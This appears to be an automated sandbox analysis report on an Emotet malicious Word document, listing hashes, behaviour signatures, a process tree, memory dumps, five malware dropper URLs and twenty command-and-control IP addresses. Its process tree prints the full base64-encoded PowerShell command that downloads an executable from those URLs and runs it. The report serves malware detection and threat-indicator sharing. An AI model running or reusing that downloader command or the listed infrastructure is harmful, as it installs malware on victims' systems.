Analysis

  • max time kernel
    145s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    13/08/2020, 05:53

General

  • Target
    emotet_e3_46b21be022edbd1e3c421e00b0f0fb17b33ff686feb8309c819c817da38d7fe6_2020-08-13__055232._doc.doc
  • Size 228KB
  • Sample200813-8sp2trbr5x
  • SHA256 46b21be022edbd1e3c421e00b0f0fb17b33ff686feb8309c819c817da38d7fe6
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://www.agenciaeureka.com.br/assinaturas/jXLI/

  • exe.dropper

    http://www.bap-host.com/COPYRIGHT/ehtw3u2zpwx97815/

  • exe.dropper

    http://ora-ks.com/BACKUPS/M8hgn2sqa0eqm076/

  • exe.dropper

    http://michaelsteinfeld.com/cgi-bin/hkXmR/

  • exe.dropper

    https://pwiic.com/Cache/multipharma.pwiic.loc/MpzUrA/

Extracted

Family
  • emotet

C2
  • 176.216.226.44:80

  • 159.203.232.29:8080

  • 185.86.148.68:443

  • 87.106.231.60:8080

  • 113.161.148.81:80

  • 78.189.60.109:443

  • 192.163.221.191:8080

  • 31.146.61.34:80

  • 37.70.131.107:80

  • 153.220.182.49:80

  • 177.144.130.105:443

  • 181.167.35.84:80

  • 202.5.47.71:80

  • 192.241.220.183:8080

  • 78.188.170.128:80

  • 182.176.95.147:80

  • 87.252.100.28:80

  • 115.78.11.155:80

  • 212.156.133.218:80

  • 203.153.216.178:7080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_46b21be022edbd1e3c421e00b0f0fb17b33ff686feb8309c819c817da38d7fe6_2020-08-13__055232._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:532
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABRAFYASABUAEkAaQB2AHQAPQAnAFMAWQBTAFUAUgBpAGkAYQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYABDAFUAUgBJAHQAeQBQAFIATwBgAFQAYABPAGMAYABvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABOAEYAQQBMAEwAaAB4AHAAIAA9ACAAJwAyADQANQAnADsAJABSAEwAQQBSAEwAZgBwAGoAPQAnAFcAVABZAFgATwByAHMAbAAnADsAJABDAFEATwBZAFcAcgBlAHEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAE4ARgBBAEwATABoAHgAcAArACcALgBlAHgAZQAnADsAJABJAEgARwBDAEQAeABtAHIAPQAnAFMATgBTAEMATABiAHcAeAAnADsAJABUAFYARABBAE8AaQBjAHgAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgAnACsAJwBqAGUAJwArACcAYwB0ACcAKQAgAG4ARQB0AC4AdwBlAGIAYwBMAEkAZQBOAFQAOwAkAFEASABTAFYAQgBhAGMAcAA9ACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AYQBnAGUAbgBjAGkAYQBlAHUAcgBlAGsAYQAuAGMAbwBtAC4AYgByAC8AYQBzAHMAaQBuAGEAdAB1AHIAYQBzAC8AagBYAEwASQAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGIAYQBwAC0AaABvAHMAdAAuAGMAbwBtAC8AQwBPAFAAWQBSAEkARwBIAFQALwBlAGgAdAB3ADMAdQAyAHoAcAB3AHgAOQA3ADgAMQA1AC8AKgBoAHQAdABwADoALwAvAG8AcgBhAC0AawBzAC4AYwBvAG0ALwBCAEEAQwBLAFUAUABTAC8ATQA4AGgAZwBuADIAcwBxAGEAMABlAHEAbQAwADcANgAvACoAaAB0AHQAcAA6AC8ALwBtAGkAYwBoAGEAZQBsAHMAdABlAGkAbgBmAGUAbABkAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AaABrAFgAbQBSAC8AKgBoAHQAdABwAHMAOgAvAC8AcAB3AGkAaQBjAC4AYwBvAG0ALwBDAGEAYwBoAGUALwBtAHUAbAB0AGkAcABoAGEAcgBtAGEALgBwAHcAaQBpAGMALgBsAG8AYwAvAE0AcAB6AFUAcgBBAC8AJwAuACIAUwBQAGwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABQAEQAVgBOAFQAeQBiAHcAPQAnAFUAQQBFAEQAWQB4AHEAcwAnADsAZgBvAHIAZQBhAGMAaAAoACQASABGAEYAVgBEAGkAaQBnACAAaQBuACAAJABRAEgAUwBWAEIAYQBjAHAAKQB7AHQAcgB5AHsAJABUAFYARABBAE8AaQBjAHgALgAiAEQATwB3AG4ATABvAGAAQQBEAGYAYABpAGAATABlACIAKAAkAEgARgBGAFYARABpAGkAZwAsACAAJABDAFEATwBZAFcAcgBlAHEAKQA7ACQAVQBPAEkARABGAHQAZAB4AD0AJwBDAFUASQBXAEIAcQBsAGQAJwA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABDAFEATwBZAFcAcgBlAHEAKQAuACIAbABlAGAATgBnAHQASAAiACAALQBnAGUAIAAyADUAOAA1ADgAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQBgAFQARQAiACgAJABDAFEATwBZAFcAcgBlAHEAKQA7ACQAVQBPAEgAQgBHAHcAcwByAD0AJwBPAE8AVgBMAFMAZABiAGkAJwA7AGIAcgBlAGEAawA7ACQATQBZAEIASwBXAGMAeQBjAD0AJwBYAFoATgBSAFYAcAB1AHgAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgBOAEIARwBOAGMAZgBpAD0AJwBIAEkAUABUAFoAaQBuAHIAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3860
  • C:\Users\Admin\245.exe
    C:\Users\Admin\245.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3752
    • C:\Windows\SysWOW64\resmon\acmigration.exe
      "C:\Windows\SysWOW64\resmon\acmigration.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:3440

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/532-0-0x00007FFF56F00000-0x00007FFF575C6000-memory.dmp

        memory/3440-13-0x00000000020E0000-0x00000000020EC000-memory.dmp

        memory/3752-10-0x0000000002390000-0x000000000239C000-memory.dmp

        memory/3860-5-0x00007FFF4B5F0000-0x00007FFF4BFDC000-memory.dmp

        memory/3860-6-0x00000253DAAB0000-0x00000253DAAB1000-memory.dmp

        memory/3860-7-0x00000253F2EB0000-0x00000253F2EB1000-memory.dmp